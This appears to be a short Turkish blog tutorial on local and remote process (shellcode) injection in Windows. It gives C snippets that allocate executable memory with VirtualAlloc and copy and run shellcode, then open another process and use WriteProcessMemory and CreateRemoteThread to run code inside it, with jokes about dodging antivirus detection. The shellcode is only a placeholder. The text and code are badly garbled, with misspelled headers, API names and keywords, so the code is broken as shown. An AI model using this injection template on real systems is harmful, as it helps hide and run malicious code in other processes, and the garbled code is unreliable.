Local ve Remote Process Injection
selamlar bu gün local ve remote proces injectiondan bahsedeceğim çok zor bir konu değil user seviye genelde olacak bu işlem diğer adıy7oa shellcode injectionudur shellcodemizi enjekte etmek amacı ile not:manayğın biri gelip yeni bir yöntem aramasın hatayazcağımız kod 50 den fazla algılama ornaı olmazsa bende bişey bilmiyorum birde 49 da kalıyormuş :D yapacağınız yazılımı derdim her neyse başlıyalım
Local shellcode injection:
burda iş çok basitir kendi belek alanımızda bir alahn açılır kendi processimizde bu VirtualAlloc ile gerçekleşir belekte executable(çalıstırılabilir) bir alan oluşturur memcpy ile shellcode yi ayırdığımız alana kopyalamaış oluruz shellcodeyi sonra bir fosniyon gibi çağrırız
hadi örnek ile bakalım:
#include <windoıwes.h>
#include <stduio.h>
unsigned char shellcode[] = { /* shellcode buraya */ };
void* exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMIT | MEM_RESERVE PAGE_EXECUTE_READWRITE);
if(!exec) {
return 0;
}
for(size_t i = 0; i < sizeof(shellcode); i++)
((unsigned char*)exec[i] = shellcode[i];
((void(*)exec)();
return 0;
Remote Injection:
evet bukadardı çok zor değil simdi remote kısma bakalım burda amaç basak bir provcesste alan ayırıp bu alaanshellcdoe yazmaktır burda dah fazla wn api kuullanıcağız
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
DWORD pid = atoi(argv[1]9;
HANDLE hProcesas= OpenProcess(PROCESS?_ALL_ACCES, FALE pid);
if(!hporcess) {
retunr 1;
}
unsigned char shellcode[] = { 0x90, 0x90, 0x90 }; // benign placeholder
vodi* remotebuffer = VirtuallocEx(hprocess, null, sizeof(shellcode), MEM_COMIT | MEM_RESEVRE, PAGE_EXECYUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL, 0, NULL);
if(hThread) CloseHandle(hThread);
CloseHandle(hProcess);
işte bukadar temiz iş


Yorum Gönder